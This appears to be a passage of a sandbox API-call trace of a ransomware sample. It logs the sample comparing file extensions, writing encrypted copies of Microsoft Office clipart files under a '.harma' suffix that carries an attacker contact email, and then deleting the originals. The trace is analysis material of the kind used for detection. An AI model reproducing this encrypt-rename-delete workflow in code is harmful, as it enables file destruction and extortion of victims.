[0155.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.244] lstrlenW (lpString=".dbf") returned 4 [0155.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.245] lstrlenW (lpString=".1cd") returned 4 [0155.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.245] lstrlenW (lpString=".jpg") returned 4 [0155.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.245] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.245] lstrlenW (lpString="FD00814_.WMF") returned 12 [0155.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.245] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=42704) returned 1 [0155.246] CloseHandle (hObject=0x368) returned 1 [0155.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0155.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.246] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.246] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0155.247] GetLastError () returned 0x0 [0155.247] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xa6d0, lpOverlapped=0x0) returned 1 [0155.312] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xa6e0, lpOverlapped=0x0) returned 1 [0155.315] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.315] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.315] SetEndOfFile (hFile=0x370) returned 1 [0155.315] CloseHandle (hObject=0x370) returned 1 [0155.315] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.315] SetEndOfFile (hFile=0x368) returned 1 [0155.341] CloseHandle (hObject=0x368) returned 1 [0155.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0155.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.342] lstrlenW (lpString=".doc") returned 4 [0155.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.342] lstrlenW (lpString=".docx") returned 5 [0155.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.342] lstrlenW (lpString=".pdf") returned 4 [0155.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.342] lstrlenW (lpString=".xls") returned 4 [0155.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.342] lstrlenW (lpString=".xlsx") returned 5 [0155.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.342] lstrlenW (lpString=".ppt") returned 4 [0155.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.342] lstrlenW (lpString=".zip") returned 4 [0155.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.343] lstrlenW (lpString=".rar") returned 4 [0155.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString=".bz2") returned 4 [0155.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString=".7z") returned 3 [0155.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.343] lstrlenW (lpString=".dbf") returned 4 [0155.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.343] lstrlenW (lpString=".1cd") returned 4 [0155.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.343] lstrlenW (lpString=".jpg") returned 4 [0155.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.343] lstrlenW (lpString=".doc") returned 4 [0155.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString=".docx") returned 5 [0155.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.343] lstrlenW (lpString=".pdf") returned 4 [0155.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.343] lstrlenW (lpString=".xls") returned 4 [0155.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.343] lstrlenW (lpString=".xlsx") returned 5 [0155.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.343] lstrlenW (lpString=".ppt") returned 4 [0155.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.344] lstrlenW (lpString=".zip") returned 4 [0155.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.344] lstrlenW (lpString=".rar") returned 4 [0155.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString=".bz2") returned 4 [0155.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString=".7z") returned 3 [0155.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.344] lstrlenW (lpString=".dbf") returned 4 [0155.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.344] lstrlenW (lpString=".1cd") returned 4 [0155.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0155.344] lstrlenW (lpString=".jpg") returned 4 [0155.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.344] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.344] lstrlenW (lpString="FD01074_.WMF") returned 12 [0155.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.349] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4634) returned 1 [0155.349] CloseHandle (hObject=0x368) returned 1 [0155.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0155.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.349] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.350] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.350] GetLastError () returned 0x0 [0155.350] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x121a, lpOverlapped=0x0) returned 1 [0155.395] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0155.396] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.397] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.398] SetEndOfFile (hFile=0x364) returned 1 [0155.398] CloseHandle (hObject=0x364) returned 1 [0155.398] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.398] SetEndOfFile (hFile=0x368) returned 1 [0155.402] CloseHandle (hObject=0x368) returned 1 [0155.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0155.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.403] lstrlenW (lpString=".doc") returned 4 [0155.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.403] lstrlenW (lpString=".docx") returned 5 [0155.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.403] lstrlenW (lpString=".pdf") returned 4 [0155.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.403] lstrlenW (lpString=".xls") returned 4 [0155.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.404] lstrlenW (lpString=".xlsx") returned 5 [0155.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.404] lstrlenW (lpString=".ppt") returned 4 [0155.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.404] lstrlenW (lpString=".zip") returned 4 [0155.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.404] lstrlenW (lpString=".rar") returned 4 [0155.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.404] lstrlenW (lpString=".bz2") returned 4 [0155.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.404] lstrlenW (lpString=".7z") returned 3 [0155.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.404] lstrlenW (lpString=".dbf") returned 4 [0155.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.404] lstrlenW (lpString=".1cd") returned 4 [0155.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.404] lstrlenW (lpString=".jpg") returned 4 [0155.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.404] lstrlenW (lpString=".doc") returned 4 [0155.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.404] lstrlenW (lpString=".docx") returned 5 [0155.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.404] lstrlenW (lpString=".pdf") returned 4 [0155.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.405] lstrlenW (lpString=".xls") returned 4 [0155.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.405] lstrlenW (lpString=".xlsx") returned 5 [0155.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.405] lstrlenW (lpString=".ppt") returned 4 [0155.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.405] lstrlenW (lpString=".zip") returned 4 [0155.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.405] lstrlenW (lpString=".rar") returned 4 [0155.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.405] lstrlenW (lpString=".bz2") returned 4 [0155.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.405] lstrlenW (lpString=".7z") returned 3 [0155.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.405] lstrlenW (lpString=".dbf") returned 4 [0155.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.405] lstrlenW (lpString=".1cd") returned 4 [0155.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0155.405] lstrlenW (lpString=".jpg") returned 4 [0155.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.405] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.405] lstrlenW (lpString="FD01176_.WMF") returned 12 [0155.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.406] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4984) returned 1 [0155.406] CloseHandle (hObject=0x368) returned 1 [0155.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0155.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.407] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.407] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.408] GetLastError () returned 0x0 [0155.408] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1378, lpOverlapped=0x0) returned 1 [0155.476] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0155.476] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.477] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.477] SetEndOfFile (hFile=0x364) returned 1 [0155.477] CloseHandle (hObject=0x364) returned 1 [0155.477] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.477] SetEndOfFile (hFile=0x368) returned 1 [0155.479] CloseHandle (hObject=0x368) returned 1 [0155.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0155.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.503] lstrlenW (lpString=".doc") returned 4 [0155.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.503] lstrlenW (lpString=".docx") returned 5 [0155.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.503] lstrlenW (lpString=".pdf") returned 4 [0155.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.503] lstrlenW (lpString=".xls") returned 4 [0155.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.503] lstrlenW (lpString=".xlsx") returned 5 [0155.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.503] lstrlenW (lpString=".ppt") returned 4 [0155.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.503] lstrlenW (lpString=".zip") returned 4 [0155.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.503] lstrlenW (lpString=".rar") returned 4 [0155.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.503] lstrlenW (lpString=".bz2") returned 4 [0155.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.503] lstrlenW (lpString=".7z") returned 3 [0155.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.504] lstrlenW (lpString=".dbf") returned 4 [0155.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.504] lstrlenW (lpString=".1cd") returned 4 [0155.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.504] lstrlenW (lpString=".jpg") returned 4 [0155.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.504] lstrlenW (lpString=".doc") returned 4 [0155.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.504] lstrlenW (lpString=".docx") returned 5 [0155.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.504] lstrlenW (lpString=".pdf") returned 4 [0155.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.504] lstrlenW (lpString=".xls") returned 4 [0155.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.504] lstrlenW (lpString=".xlsx") returned 5 [0155.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.505] lstrlenW (lpString=".ppt") returned 4 [0155.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.505] lstrlenW (lpString=".zip") returned 4 [0155.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.505] lstrlenW (lpString=".rar") returned 4 [0155.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.505] lstrlenW (lpString=".bz2") returned 4 [0155.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.505] lstrlenW (lpString=".7z") returned 3 [0155.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.505] lstrlenW (lpString=".dbf") returned 4 [0155.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.505] lstrlenW (lpString=".1cd") returned 4 [0155.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0155.505] lstrlenW (lpString=".jpg") returned 4 [0155.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.505] 